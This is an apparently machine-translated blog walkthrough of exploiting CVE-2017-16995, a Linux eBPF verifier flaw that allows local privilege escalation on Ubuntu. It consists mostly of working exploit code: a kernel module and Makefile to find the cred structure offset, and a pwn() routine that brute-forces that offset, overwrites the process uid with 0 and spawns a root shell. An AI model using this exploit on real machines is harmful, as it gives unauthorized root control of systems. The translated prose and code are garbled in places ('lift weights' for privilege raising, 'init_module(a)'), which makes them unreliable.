Cve-2017-16995 Ubuntu Local Rights Raising Vulnerability

Vulnerability describes

This vulnerability exists in Linux kernels with compilation support for eBPF BPF (2) systems (CONFIG_BPF_SYSCALL) and is an arbitrary read/write vulnerability to memory. The vulnerability is due to a calculation error in the eBPF validation module. Ordinary users can construct special BPF to trigger the vulnerability, but malicious attackers can also use the vulnerability for local entitlement operations.

POC

However, when run directly, many machines are not able to lift weights successfully.

The source code comment header says:

if different kernel adjust CRED offset + check kernel stack size

For this evil number :CRED_OFFSET= 0x5F8

This article also tells the truth:

The offset of creD structures can vary depending on the kernel version and kernel compilation options. The exp offset given by the author is written dead

The author also offers a solution:

Get cred offset constant (1)

The cred offset can be obtained by:

1, getCredOffset. C

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/kthread.h>
#include <linux/errno.h>
#include <linux/types.h>
int init_module(a)
{
    printk("[!] current cred offset:%x\n", (unsigned long)&(current->cred)-(unsigned long)current);
    return 0;
}
void cleanup_module(a)
{
    printk("module cleanup\n");
}
Copy the code

2, the Makefile

obj-m += getCredOffset.o
 
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
         
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Copy the code

3, compile,

make
Copy the code

4, implement

sudo insmod getCredOffset.ko
Copy the code

This command needs to be executed by a user with sudo permission to inject the getCredOffset module into the kernel through the insmod command

5. Obtain creD offset

dmesg | grep "cred offset"
Copy the code

Run this command on another command line to obtain the cred offset, and finally replace the offset in exp to successfully lift weights.

However, although the rights raised successfully, but this method is a little weird, originally wanted to ordinary users to raise rights, but it needs to use the root user to execute the command to help, a little powerless.

How do you get the CRED offset dynamically on different machines?

Get cred offset constant – violent attempt

As indicated by the author above:

This vulnerability is an arbitrary address read/write vulnerability, so you can also search memory based on the uid of the current user after determining the address of the task_struct, after all, cred is not far from the task_struct.

Plus there are multiple __read commands in the code, as well as getuid() commands, both of which can read uid. Select * from uIDptr; select * from uIDptr;

printf("uidptr = %lx\n", uidptr);
uid_get=getuid();
uid_read=__read(uidptr);
printf("uid get=%lx,read=%lx\n",uid_get, uid_read);

__write(uidptr, 0); // set both uid and gid to 0

if (getuid() == 0) {
	printf("spawning root shell\n");
	system("/bin/bash");
	exit(0);
}
Copy the code

Sure enough, as shown in the picture below:

cred offset
uid
write(0)
pwn

static void pwn(uint64_t credoffset) {
	uint64_t fp, sp, ts, credadd, credptr, uidptr, uid_get, uid_read;
	fp = __get_fp();
	if (fp < PHYS_OFFSET)
		__exit("bogus fp");
	
	sp = get_sp(fp);
	if (sp < PHYS_OFFSET)
		__exit("bogus sp");
	
	ts = __read(sp);

	if (ts < PHYS_OFFSET)
		__exit("bogus task ptr");

	printf("task_struct = %lx\n", ts);

	uid_get=getuid();
	for(credoffset=0x400; credoffset<0x800; credoffset++){ credadd=ts + credoffset;printf("credadd = %lx\n", credadd);
		credptr = __read(credadd); // cred
		printf("credptr = %lx\n", credptr);
		if (credptr < PHYS_OFFSET){
			continue;
		}
		uidptr = credptr + UID_OFFSET; // uid
		if (uidptr < PHYS_OFFSET){
			continue;
		}
		printf("uidptr = %lx\n", uidptr);
		uid_read=__read(uidptr);
		printf("uid get=%lx,read=%lx\n",uid_get, uid_read);
		if((uid_read&0xffffffff)==uid_get){
			printf("uid get=%lx,read=%lx\n",uid_get, uid_read);
			__write(uidptr, 0); // set both uid and gid to 0
			printf("cred_offset = %lx\n", credoffset);
			if (getuid() == 0) {
				printf("spawning root shell\n");
				system("/bin/bash");
				exit(0);
			}
			printf("failed\n");
			break; }}}Copy the code

Thinking of the CRED_OFFSET= 0x5F8 given by Vitaly Nikolenko, I obtained 0x670 from the method given here by rebeyond, guessing that the value should be within a small range. I tried to explode it by 0x400~0x800, unfortunately, the first attempt failed. Killed by the system:

Adjust the range: 0x500~0x800, ok!

The CRED_OFFSET offset may vary from machine to machine, but it should not be difficult to test the results by tweaking the range slightly.

Finally, to experience the pleasure brought by lifting the rights, root users can do whatever they want, as shown in the figure:

See the full code here.

Reference links:

  • http://www.freebuf.com/news/165608.html
  • https://cert.360.cn/warning/detail?id=119f849891f2a1b5deef65f99923ab5a
  • https://www.cnblogs.com/rebeyond/p/8603056.html#commentform